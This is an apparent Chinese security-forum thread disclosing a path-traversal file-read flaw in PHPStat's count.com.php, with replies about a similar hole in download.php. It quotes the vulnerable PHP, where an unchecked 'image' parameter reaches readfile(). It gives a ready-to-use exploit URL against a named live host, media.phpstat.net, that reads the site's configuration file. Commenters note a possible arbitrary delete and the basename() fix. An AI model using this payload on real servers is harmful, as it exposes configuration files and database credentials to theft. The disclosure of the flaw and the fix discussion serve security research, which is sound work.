phpstat 读文件
./count/count.com.php很2B,看一个站的时候发现。。
test
http://media.phpstat.net/count/count.com.php?image=../../../../include.inc/config.inc.php
$website = $_GET[website];
$image = $_GET[image];
//确定图片
if(!$image)
$imagesrc = "../templates/".TPL_NAME."/".TPL_IMGDIR."/icos/countlogo1.gif";
else
$imagesrc = "../templates/".TPL_NAME."/".TPL_IMGDIR."/icos/".$image;
//发送图片
header("Content-type: image/gif");
readfile($imagesrc);
@flush();
test
http://media.phpstat.net/count/count.com.php?image=../../../../include.inc/config.inc.php
评论13次
有时间,找这套源码来读读....看来问题不少
上面这里不成了任意删除么? unlink($fpath)了。。。。。
神奇。。
这个我也看到了。不过目标站着几个文件被删了,我就没怎么看了
懂的站长 一个 basename 函数 漏洞就没用鸟 =========================================== 官方没有找到(phpstat3.2) ../download.php 23==>$fpath = strval($_GET['fpath']); 25==>$file = fopen($fpath, "r"); 30==>fread echo fread($file, filesize($fpath));
开发人员太放松警惕了,居然什么检查都不做就直接扔到函数里了
弯的four
readfile flush 两函数也要加入到工具里扫了 算是危险函数了
挤一挤。
这个犀利了。。。。连截断都不用。。。。。
八错。。呵呵
沙发